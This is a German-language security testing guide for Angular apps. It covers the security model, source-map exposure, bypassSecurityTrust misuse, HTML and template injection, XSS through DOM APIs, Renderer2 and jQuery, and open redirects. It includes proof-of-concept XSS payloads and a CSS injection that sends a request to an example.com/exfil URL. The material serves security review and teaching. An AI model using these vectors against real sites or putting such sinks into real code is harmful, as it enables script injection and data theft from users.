Angular

Reading time: 19 minutes

Die Checkliste

Checkliste von hier.

  • Angular wird als clientseitiges Framework betrachtet und soll keinen serverseitigen Schutz bieten
  • Sourcemap fĂŒr Skripte ist in der Projektkonfiguration deaktiviert
  • Untrusted Benutzerinput wird immer interpoliert oder bereinigt, bevor er in Vorlagen verwendet wird
  • Der Benutzer hat keine Kontrolle ĂŒber serverseitige oder clientseitige Vorlagen
  • Untrusted Benutzerinput wird mit einem geeigneten Sicherheitskontext bereinigt, bevor er von der Anwendung vertraut wird
  • BypassSecurity*-Methoden werden nicht mit untrusted Eingaben verwendet
  • Untrusted Benutzerinput wird nicht an Angular-Klassen wie ElementRef, Renderer2 und Document oder andere JQuery/DOM-Senken ĂŒbergeben

Was ist Angular

Angular ist ein leistungsstarkes und Open-Source-Frontend-Framework, das von Google gepflegt wird. Es verwendet TypeScript, um die Lesbarkeit und das Debugging des Codes zu verbessern. Mit starken Sicherheitsmechanismen verhindert Angular hĂ€ufige clientseitige Schwachstellen wie XSS und offene Weiterleitungen. Es kann auch auf der Server-Seite verwendet werden, was SicherheitsĂŒberlegungen aus beiden Perspektiven wichtig macht.

Framework-Architektur

Um die Grundlagen von Angular besser zu verstehen, lassen Sie uns seine wesentlichen Konzepte durchgehen.

Ein typisches Angular-Projekt sieht normalerweise so aus:

bash
my-workspace/ ├── ... #workspace-wide configuration files ├── src │ ├── app │ │ ├── app.module.ts #defines the root module, that tells Angular how to assemble the application │ │ ├── app.component.ts #defines the logic for the application's root component │ │ ├── app.component.html #defines the HTML template associated with the root component │ │ ├── app.component.css #defines the base CSS stylesheet for the root component │ │ ├── app.component.spec.ts #defines a unit test for the root component │ │ └── app-routing.module.ts #provides routing capability for the application │ ├── lib │ │ └── src #library-specific configuration files │ ├── index.html #main HTML page, where the component will be rendered in │ └── ... #application-specific configuration files ├── angular.json #provides workspace-wide and project-specific configuration defaults └── tsconfig.json #provides the base TypeScript configuration for projects in the workspace

Laut der Dokumentation hat jede Angular-Anwendung mindestens eine Komponente, die Wurzelkomponente (AppComponent), die eine Komponentenhierarchie mit dem DOM verbindet. Jede Komponente definiert eine Klasse, die Anwendungsdaten und -logik enthĂ€lt und mit einer HTML-Vorlage verknĂŒpft ist, die eine Ansicht darstellt, die in einer Zielumgebung angezeigt werden soll. Der @Component()-Dekorator identifiziert die direkt darunter liegende Klasse als Komponente und stellt die Vorlage sowie die zugehörigen komponentenspezifischen Metadaten bereit. Die AppComponent ist in der Datei app.component.ts definiert.

Angular NgModules erklĂ€ren einen Kompilierungskontext fĂŒr eine Gruppe von Komponenten, die einem Anwendungsbereich, einem Workflow oder einer eng verwandten Gruppe von Funktionen gewidmet sind. Jede Angular-Anwendung hat ein Wurzelmodul, das konventionell AppModule genannt wird und den Bootstrap-Mechanismus bereitstellt, der die Anwendung startet. Eine Anwendung enthĂ€lt typischerweise viele funktionale Module. Das AppModule ist in der Datei app.module.ts definiert.

Das Angular Router NgModule bietet einen Dienst, der es Ihnen ermöglicht, einen Navigationspfad zwischen den verschiedenen AnwendungszustÀnden und Ansichtshierarchien in Ihrer Anwendung zu definieren. Das RouterModule ist in der Datei app-routing.module.ts definiert.

FĂŒr Daten oder Logik, die nicht mit einer bestimmten Ansicht verknĂŒpft sind und die Sie ĂŒber Komponenten hinweg teilen möchten, erstellen Sie eine Dienstklasse. Eine Dienstklassendefinition wird unmittelbar von dem @Injectable()-Dekorator vorausgegangen. Der Dekorator stellt die Metadaten bereit, die es anderen Anbietern ermöglichen, als AbhĂ€ngigkeiten in Ihre Klasse injiziert zu werden. Die AbhĂ€ngigkeitsinjektion (DI) ermöglicht es Ihnen, Ihre Komponentenklassen schlank und effizient zu halten. Sie holen keine Daten vom Server, validieren keine Benutzereingaben oder protokollieren nicht direkt in die Konsole; sie delegieren solche Aufgaben an Dienste.

Sourcemap-Konfiguration

Das Angular-Framework ĂŒbersetzt TypeScript-Dateien in JavaScript-Code, indem es die Optionen in tsconfig.json befolgt, und erstellt dann ein Projekt mit der Konfiguration in angular.json. Wenn wir die Datei angular.json betrachten, haben wir eine Option beobachtet, um eine Sourcemap zu aktivieren oder zu deaktivieren. Laut der Angular-Dokumentation hat die Standardkonfiguration eine Sourcemap-Datei fĂŒr Skripte aktiviert und ist standardmĂ€ĂŸig nicht verborgen:

json
"sourceMap": { "scripts": true, "styles": true, "vendor": false, "hidden": false }

Allgemein werden Sourcemap-Dateien zu Debugging-Zwecken verwendet, da sie generierte Dateien ihren ursprĂŒnglichen Dateien zuordnen. Daher wird nicht empfohlen, sie in einer Produktionsumgebung zu verwenden. Wenn Sourcemaps aktiviert sind, verbessert sich die Lesbarkeit und unterstĂŒtzt die Dateianalyse, indem der ursprĂŒngliche Zustand des Angular-Projekts repliziert wird. Wenn sie jedoch deaktiviert sind, kann ein PrĂŒfer eine kompilierte JavaScript-Datei manuell analysieren, indem er nach anti-sicherheitsmustern sucht.

DarĂŒber hinaus kann eine kompilierte JavaScript-Datei mit einem Angular-Projekt in den Entwicklertools des Browsers → Quellen (oder Debugger und Quellen) → [id].main.js gefunden werden. AbhĂ€ngig von den aktivierten Optionen kann diese Datei die folgende Zeile am Ende enthalten //# sourceMappingURL=[id].main.js.map oder sie kann es nicht, wenn die hidden-Option auf true gesetzt ist. Dennoch wird das Testen komplexer, wenn die Sourcemap fĂŒr Skripte deaktiviert ist, und wir können die Datei nicht erhalten. DarĂŒber hinaus kann die Sourcemap wĂ€hrend des Projektbaus aktiviert werden, wie ng build --source-map.

Datenbindung

Binding bezieht sich auf den Prozess der Kommunikation zwischen einer Komponente und ihrer entsprechenden Ansicht. Es wird verwendet, um Daten an das Angular-Framework zu ĂŒbertragen und von diesem zu empfangen. Daten können auf verschiedene Weise ĂŒbergeben werden, z. B. ĂŒber Ereignisse, Interpolation, Eigenschaften oder ĂŒber den Mechanismus der bidirektionalen Bindung. DarĂŒber hinaus können Daten auch zwischen verwandten Komponenten (Eltern-Kind-Beziehung) und zwischen zwei nicht verwandten Komponenten mithilfe der Service-Funktion geteilt werden.

Wir können Binding nach Datenfluss klassifizieren:

  • Datenquelle zu Zielansicht (einschließlich Interpolation, Eigenschaften, Attribute, Klassen und Stile); kann durch die Verwendung von [] oder {{}} im Template angewendet werden;
  • Zielansicht zu Datenquelle (einschließlich Ereignisse); kann durch die Verwendung von () im Template angewendet werden;
  • Zwei-Wege; kann durch die Verwendung von [()] im Template angewendet werden.

Binding kann auf Eigenschaften, Ereignisse und Attribute sowie auf jedes öffentliche Mitglied einer Quellrichtlinie angewendet werden:

TYPZIELBEISPIELE
EigenschaftElementeigenschaft, Komponenteneigenschaft, Direktiveigenschaft<img [alt]="hero.name" [src]="heroImageUrl">
EreignisElementereignis, Komponenteneignis, Direktivereignis<button type="button" (click)="onSave()">Speichern
Zwei-WegeEreignis und Eigenschaft<input [(ngModel)]="name">
AttributAttribut (die Ausnahme)<button type="button" [attr.aria-label]="help">hilfe
KlasseKlassen-Eigenschaft<div [class.special]="isSpecial">Spezial
StilStil-Eigenschaft<button type="button" [style.color]="isSpecial ? 'red' : 'green'">

Angular-Sicherheitsmodell

Das Design von Angular umfasst standardmĂ€ĂŸig die Kodierung oder SanitĂ€rung aller Daten, was es zunehmend schwierig macht, XSS-Schwachstellen in Angular-Projekten zu entdecken und auszunutzen. Es gibt zwei verschiedene Szenarien fĂŒr die Datenverarbeitung:

  1. Interpolation oder {{user_input}} - fĂŒhrt kontextabhĂ€ngige Kodierung durch und interpretiert Benutzereingaben als Text;
jsx
//app.component.ts test = "<script>alert(1)</script><h1>test</h1>"; //app.component.html {{test}}

Ergebnis: &lt;script&gt;alert(1)&lt;/script&gt;&lt;h1&gt;test&lt;/h1&gt; 2. Binding an Eigenschaften, Attribute, Klassen und Stile oder [attribute]="user_input" - fĂŒhrt eine SanitĂ€rung basierend auf dem bereitgestellten Sicherheitskontext durch.

jsx
//app.component.ts test = "<script>alert(1)</script><h1>test</h1>"; //app.component.html <div [innerHtml]="test"></div>

Ergebnis: <div><h1>test</h1></div>

Es gibt 6 Typen von SecurityContext :

  • None;
  • HTML wird verwendet, wenn der Wert als HTML interpretiert wird;
  • STYLE wird verwendet, wenn CSS in die style-Eigenschaft gebunden wird;
  • URL wird fĂŒr URL-Eigenschaften verwendet, wie <a href>;
  • SCRIPT wird fĂŒr JavaScript-Code verwendet;
  • RESOURCE_URL als URL, die als Code geladen und ausgefĂŒhrt wird, z. B. in <script src>.

Schwachstellen

Umgehung der Sicherheitsvertrauensmethoden

Angular fĂŒhrt eine Liste von Methoden ein, um den standardmĂ€ĂŸigen SanitĂ€rungsprozess zu umgehen und anzuzeigen, dass ein Wert in einem bestimmten Kontext sicher verwendet werden kann, wie in den folgenden fĂŒnf Beispielen:

  1. bypassSecurityTrustUrl wird verwendet, um anzuzeigen, dass der angegebene Wert eine sichere Stil-URL ist:
jsx
//app.component.ts this.trustedUrl = this.sanitizer.bypassSecurityTrustUrl('javascript:alert()'); //app.component.html <a class="e2e-trusted-url" [href]="trustedUrl">Klicke mich</a> //Ergebnis <a _ngcontent-pqg-c12="" class="e2e-trusted-url" href="javascript:alert()">Klicke mich</a>
  1. bypassSecurityTrustResourceUrl wird verwendet, um anzuzeigen, dass der angegebene Wert eine sichere Ressourcen-URL ist:
jsx
//app.component.ts this.trustedResourceUrl = this.sanitizer.bypassSecurityTrustResourceUrl("https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png"); //app.component.html <iframe [src]="trustedResourceUrl"></iframe> //Ergebnis <img _ngcontent-nre-c12="" src="https://www.google.com/images/branding/googlelogo/1x/googlelogo_light_color_272x92dp.png">
  1. bypassSecurityTrustHtml wird verwendet, um anzuzeigen, dass der angegebene Wert sicheres HTML ist. Beachten Sie, dass das EinfĂŒgen von script-Elementen in den DOM-Baum auf diese Weise nicht dazu fĂŒhrt, dass der enthaltene JavaScript-Code ausgefĂŒhrt wird, aufgrund der Art und Weise, wie diese Elemente zum DOM-Baum hinzugefĂŒgt werden.
jsx
//app.component.ts this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg onclick=\"alert('bypassSecurityTrustHtml')\" style=display:block>blah</svg>"); //app.component.html <p style="border:solid" [innerHtml]="trustedHtml"></p> //Ergebnis <h1>html tag</h1> <svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
  1. bypassSecurityTrustScript wird verwendet, um anzuzeigen, dass der angegebene Wert sicheres JavaScript ist. Wir haben jedoch festgestellt, dass sein Verhalten unvorhersehbar ist, da wir keinen JS-Code in Vorlagen mit dieser Methode ausfĂŒhren konnten.
jsx
//app.component.ts this.trustedScript = this.sanitizer.bypassSecurityTrustScript("alert('bypass Security TrustScript')"); //app.component.html <script [innerHtml]="trustedScript"></script> //Ergebnis -
  1. bypassSecurityTrustStyle wird verwendet, um anzuzeigen, dass der angegebene Wert sicheres CSS ist. Das folgende Beispiel veranschaulicht CSS-Injection:
jsx
//app.component.ts this.trustedStyle = this.sanitizer.bypassSecurityTrustStyle('background-image: url(https://example.com/exfil/a)'); //app.component.html <input type="password" name="pwd" value="01234" [style]="trustedStyle"> //Ergebnis Anforderungs-URL: GET example.com/exfil/a

Angular bietet eine sanitize-Methode, um Daten zu sanitieren, bevor sie in Ansichten angezeigt werden. Diese Methode verwendet den bereitgestellten Sicherheitskontext und reinigt die Eingabe entsprechend. Es ist jedoch entscheidend, den richtigen Sicherheitskontext fĂŒr die spezifischen Daten und den Kontext zu verwenden. Beispielsweise bietet die Anwendung eines Sanitizers mit SecurityContext.URL auf HTML-Inhalt keinen Schutz gegen gefĂ€hrliche HTML-Werte. In solchen Szenarien könnte der Missbrauch des Sicherheitskontexts zu XSS-Schwachstellen fĂŒhren.

HTML-Injection

Diese Schwachstelle tritt auf, wenn Benutzereingaben an eines der drei Eigenschaften gebunden werden: innerHTML, outerHTML oder iframe srcdoc. WÀhrend das Binden an diese Attribute HTML so interpretiert, wie es ist, wird die Eingabe mit SecurityContext.HTML sanitisiert. Daher ist HTML-Injection möglich, aber Cross-Site-Scripting (XSS) ist es nicht.

Beispiel fĂŒr die Verwendung von innerHTML:

jsx
//app.component.ts import { Component} from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html' }) export class AppComponent{ //define a variable with user input test = "<script>alert(1)</script><h1>test</h1>"; } //app.component.html <div [innerHTML]="test"></div>

Template-Injection

Client-Side Rendering (CSR)

Angular nutzt Templates, um Seiten dynamisch zu erstellen. Der Ansatz besteht darin, Template-AusdrĂŒcke fĂŒr Angular zur Auswertung in doppelte geschweifte Klammern ({{}}) einzuschließen. Auf diese Weise bietet das Framework zusĂ€tzliche FunktionalitĂ€t. Zum Beispiel wĂŒrde ein Template wie {{1+1}} als 2 angezeigt werden.

Typischerweise entkommt Angular Benutzereingaben, die mit Template-AusdrĂŒcken verwechselt werden können (z. B. Zeichen wie `< > ' " ``). Das bedeutet, dass zusĂ€tzliche Schritte erforderlich sind, um diese EinschrĂ€nkung zu umgehen, wie die Verwendung von Funktionen, die JavaScript-String-Objekte generieren, um die Verwendung von auf der Blacklist stehenden Zeichen zu vermeiden. Um dies zu erreichen, mĂŒssen wir jedoch den Angular-Kontext, seine Eigenschaften und Variablen berĂŒcksichtigen. Daher könnte ein Template-Injection-Angriff wie folgt aussehen:

jsx
//app.component.ts const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' @Component({ selector: 'app-root', template: '<h1>title</h1>' + _userInput })

Wie oben gezeigt, bezieht sich constructor auf den Geltungsbereich der Object constructor-Eigenschaft, was es uns ermöglicht, den String-Konstruktor aufzurufen und beliebigen Code auszufĂŒhren.

Server-Side Rendering (SSR)

Im Gegensatz zu CSR, das im DOM des Browsers erfolgt, ist Angular Universal fĂŒr SSR von Template-Dateien verantwortlich. Diese Dateien werden dann an den Benutzer geliefert. Trotz dieser Unterscheidung wendet Angular Universal die gleichen Sanitization-Mechanismen an, die auch in CSR verwendet werden, um die Sicherheit von SSR zu verbessern. Eine Template-Injection-Schwachstelle in SSR kann auf die gleiche Weise wie in CSR erkannt werden, da die verwendete Template-Sprache dieselbe ist.

NatĂŒrlich besteht auch die Möglichkeit, neue Template-Injection-Schwachstellen einzufĂŒhren, wenn Drittanbieter-Template-Engines wie Pug und Handlebars verwendet werden.

XSS

DOM-Schnittstellen

Wie bereits erwĂ€hnt, können wir direkt auf das DOM ĂŒber die Document-Schnittstelle zugreifen. Wenn Benutzereingaben nicht vorher validiert werden, kann dies zu Cross-Site-Scripting (XSS)-Schwachstellen fĂŒhren.

Wir haben die Methoden document.write() und document.createElement() in den folgenden Beispielen verwendet:

jsx
//app.component.ts 1 import { Component} from '@angular/core'; @Component({ selector: 'app-root', template: '' }) export class AppComponent{ constructor () { document.open(); document.write("<script>alert(document.domain)</script>"); document.close(); } } //app.component.ts 2 import { Component} from '@angular/core'; @Component({ selector: 'app-root', template: '' }) export class AppComponent{ constructor () { var d = document.createElement('script'); var y = document.createTextNode("alert(1)"); d.appendChild(y); document.body.appendChild(d); } } //app.component.ts 3 import { Component} from '@angular/core'; @Component({ selector: 'app-root', template: '' }) export class AppComponent{ constructor () { var a = document.createElement('img'); a.src='1'; a.setAttribute('onerror','alert(1)'); document.body.appendChild(a); } }

Angular-Klassen

Es gibt einige Klassen, die verwendet werden können, um mit DOM-Elementen in Angular zu arbeiten: ElementRef, Renderer2, Location und Document. Eine detaillierte Beschreibung der letzten beiden Klassen ist im Abschnitt Open redirects zu finden. Der Hauptunterschied zwischen den ersten beiden besteht darin, dass die Renderer2-API eine Abstraktionsschicht zwischen dem DOM-Element und dem Komponenten-Code bereitstellt, wÀhrend ElementRef lediglich eine Referenz auf das Element hÀlt. Daher sollte laut Angular-Dokumentation die ElementRef-API nur als letztes Mittel verwendet werden, wenn direkter Zugriff auf das DOM erforderlich ist.

  • ElementRef enthĂ€lt die Eigenschaft nativeElement, die verwendet werden kann, um die DOM-Elemente zu manipulieren. Eine unsachgemĂ€ĂŸe Verwendung von nativeElement kann zu einer XSS-InjektionsanfĂ€lligkeit fĂŒhren, wie unten gezeigt:
tsx
//app.component.ts import { Component, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { ... constructor(private elementRef: ElementRef) { const s = document.createElement('script'); s.type = 'text/javascript'; s.textContent = 'alert("Hello World")'; this.elementRef.nativeElement.appendChild(s); } }
  • Trotz der Tatsache, dass Renderer2 eine API bereitstellt, die sicher verwendet werden kann, selbst wenn direkter Zugriff auf native Elemente nicht unterstĂŒtzt wird, hat es dennoch einige SicherheitsmĂ€ngel. Mit Renderer2 ist es möglich, Attribute eines HTML-Elements mit der Methode setAttribute() festzulegen, die keine XSS-PrĂ€ventionsmechanismen hat.
tsx
//app.component.ts import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { public constructor ( private renderer2: Renderer2 ){} @ViewChild("img") img!: ElementRef; addAttribute(){ this.renderer2.setAttribute(this.img.nativeElement, 'src', '1'); this.renderer2.setAttribute(this.img.nativeElement, 'onerror', 'alert(1)'); } } //app.component.html <img #img> <button (click)="setAttribute()">Click me!</button>
  • Um die Eigenschaft eines DOM-Elements festzulegen, können Sie die Methode Renderer2.setProperty() verwenden und einen XSS-Angriff auslösen:
tsx
//app.component.ts import {Component, Renderer2, ElementRef, ViewChild, AfterViewInit } from '@angular/core'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { public constructor ( private renderer2: Renderer2 ){} @ViewChild("img") img!: ElementRef; setProperty(){ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 onerror=alert(1)>'); } } //app.component.html <a #a></a> <button (click)="setProperty()">Click me!</button>

WĂ€hrend unserer Forschung haben wir auch das Verhalten anderer Renderer2-Methoden wie setStyle(), createComment() und setValue() in Bezug auf XSS- und CSS-Injektionen untersucht. Wir konnten jedoch keine gĂŒltigen Angriffsvektoren fĂŒr diese Methoden aufgrund ihrer funktionalen EinschrĂ€nkungen finden.

jQuery

jQuery ist eine schnelle, kleine und funktionsreiche JavaScript-Bibliothek, die im Angular-Projekt verwendet werden kann, um bei der Manipulation der HTML-DOM-Objekte zu helfen. Wie bekannt ist, können die Methoden dieser Bibliothek ausgenutzt werden, um eine XSS-AnfĂ€lligkeit zu erreichen. Um zu diskutieren, wie einige anfĂ€llige jQuery-Methoden in Angular-Projekten ausgenutzt werden können, haben wir diesen Unterabschnitt hinzugefĂŒgt.

  • Die Methode html() erhĂ€lt den HTML-Inhalt des ersten Elements in der Menge der ĂŒbereinstimmenden Elemente oder setzt den HTML-Inhalt jedes ĂŒbereinstimmenden Elements. Allerdings kann jede jQuery-Konstruktor- oder Methode, die einen HTML-String akzeptiert, potenziell Code ausfĂŒhren. Dies kann durch die Injektion von <script>-Tags oder die Verwendung von HTML-Attributen, die Code ausfĂŒhren, wie im Beispiel gezeigt, geschehen.
tsx
//app.component.ts import { Component, OnInit } from '@angular/core'; import * as $ from 'jquery'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent implements OnInit { ngOnInit() { $("button").on("click", function() { $("p").html("<script>alert(1)</script>"); }); } } //app.component.html <button>Click me</button> <p>some text here</p>
  • Die Methode jQuery.parseHTML() verwendet native Methoden, um den String in eine Menge von DOM-Knoten zu konvertieren, die dann in das Dokument eingefĂŒgt werden können.
tsx
jQuery.parseHTML(data [, context ] [, keepScripts ])

Wie bereits erwĂ€hnt, fĂŒhren die meisten jQuery-APIs, die HTML-Strings akzeptieren, Skripte aus, die im HTML enthalten sind. Die Methode jQuery.parseHTML() fĂŒhrt keine Skripte im geparsten HTML aus, es sei denn, keepScripts ist ausdrĂŒcklich true. Es ist jedoch in den meisten Umgebungen immer noch möglich, Skripte indirekt auszufĂŒhren; zum Beispiel ĂŒber das Attribut <img onerror>.

tsx
//app.component.ts import { Component, OnInit } from '@angular/core'; import * as $ from 'jquery'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent implements OnInit { ngOnInit() { $("button").on("click", function() { var $palias = $("#palias"), str = "<img src=1 onerror=alert(1)>", html = $.parseHTML(str), nodeNames = []; $palias.append(html); }); } } //app.component.html <button>Click me</button> <p id="palias">some text</p>

Open redirects

DOM-Schnittstellen

Laut der W3C-Dokumentation werden die Objekte window.location und document.location in modernen Browsern als Aliase behandelt. Deshalb haben sie eine Ă€hnliche Implementierung einiger Methoden und Eigenschaften, was zu einem offenen Redirect und DOM-XSS mit javascript://-Schemaangriffen fĂŒhren kann, wie unten erwĂ€hnt.

  • window.location.href(und document.location.href)

Der kanonische Weg, um das aktuelle DOM-Standortobjekt zu erhalten, ist die Verwendung von window.location. Es kann auch verwendet werden, um den Browser auf eine neue Seite umzuleiten. Daher ermöglicht die Kontrolle ĂŒber dieses Objekt, eine offene Redirect-AnfĂ€lligkeit auszunutzen.

tsx
//app.component.ts ... export class AppComponent { goToUrl(): void { window.location.href = "https://google.com/about" } } //app.component.html <button type="button" (click)="goToUrl()">Click me!</button>

Der Ausnutzungsprozess ist identisch fĂŒr die folgenden Szenarien.

  • window.location.assign()(und document.location.assign())

Diese Methode bewirkt, dass das Fenster das Dokument an der angegebenen URL lĂ€dt und anzeigt. Wenn wir Kontrolle ĂŒber diese Methode haben, könnte sie ein Ziel fĂŒr einen offenen Redirect-Angriff sein.

tsx
//app.component.ts ... export class AppComponent { goToUrl(): void { window.location.assign("https://google.com/about") } }
  • window.location.replace()(und document.location.replace())

Diese Methode ersetzt die aktuelle Ressource durch die an der angegebenen URL.

Der Unterschied zur Methode assign() besteht darin, dass nach der Verwendung von window.location.replace() die aktuelle Seite nicht im Sitzungsverlauf gespeichert wird. Es ist jedoch auch möglich, eine offene Redirect-AnfĂ€lligkeit auszunutzen, wenn wir Kontrolle ĂŒber diese Methode haben.

tsx
//app.component.ts ... export class AppComponent { goToUrl(): void { window.location.replace("http://google.com/about") } }
  • window.open()

Die Methode window.open() nimmt eine URL und lĂ€dt die Ressource, die sie identifiziert, in einen neuen oder bestehenden Tab oder ein neues Fenster. Die Kontrolle ĂŒber diese Methode könnte ebenfalls eine Gelegenheit sein, eine XSS- oder offene Redirect-AnfĂ€lligkeit auszulösen.

tsx
//app.component.ts ... export class AppComponent { goToUrl(): void { window.open("https://google.com/about", "_blank") } }

Angular-Klassen

  • Laut Angular-Dokumentation ist Angular Document dasselbe wie das DOM-Dokument, was bedeutet, dass es möglich ist, gĂ€ngige Vektoren fĂŒr das DOM-Dokument zu verwenden, um clientseitige AnfĂ€lligkeiten in Angular auszunutzen. Die Eigenschaften und Methoden von Document.location könnten Ziele fĂŒr erfolgreiche offene Redirect-Angriffe sein, wie im Beispiel gezeigt:
tsx
//app.component.ts import { Component, Inject } from '@angular/core'; import { DOCUMENT } from '@angular/common'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'] }) export class AppComponent { constructor(@Inject(DOCUMENT) private document: Document) { } goToUrl(): void { this.document.location.href = 'https://google.com/about'; } } //app.component.html <button type="button" (click)="goToUrl()">Click me!</button>
  • WĂ€hrend der Forschungsphase haben wir auch die Angular Location-Klasse auf offene Redirect-AnfĂ€lligkeiten ĂŒberprĂŒft, aber es wurden keine gĂŒltigen Vektoren gefunden. Location ist ein Angular-Dienst, den Anwendungen verwenden können, um mit der aktuellen URL des Browsers zu interagieren. Dieser Dienst hat mehrere Methoden, um die gegebene URL zu manipulieren - go(), replaceState() und prepareExternalUrl(). Wir können sie jedoch nicht fĂŒr die Umleitung zu einer externen Domain verwenden. Zum Beispiel:
tsx
//app.component.ts import { Component, Inject } from '@angular/core'; import {Location, LocationStrategy, PathLocationStrategy} from '@angular/common'; @Component({ selector: 'app-root', templateUrl: './app.component.html', styleUrls: ['./app.component.css'], providers: [Location, {provide: LocationStrategy, useClass: PathLocationStrategy}], }) export class AppComponent { location: Location; constructor(location: Location) { this.location = location; } goToUrl(): void { console.log(this.location.go("http://google.com/about")); } }

Ergebnis: http://localhost:4200/http://google.com/about

  • Die Angular Router-Klasse wird hauptsĂ€chlich fĂŒr die Navigation innerhalb derselben Domain verwendet und fĂŒhrt nicht zu zusĂ€tzlichen AnfĂ€lligkeiten in der Anwendung:
jsx
//app-routing.module.ts const routes: Routes = [ { path: '', redirectTo: 'https://google.com', pathMatch: 'full' }]

Ergebnis: http://localhost:4200/https:

Die folgenden Methoden navigieren ebenfalls innerhalb des Bereichs der Domain:

jsx
const routes: Routes = [ { path: '', redirectTo: 'ROUTE', pathMatch: 'prefix' } ] this.router.navigate(['PATH']) this.router.navigateByUrl('URL')

Referenzen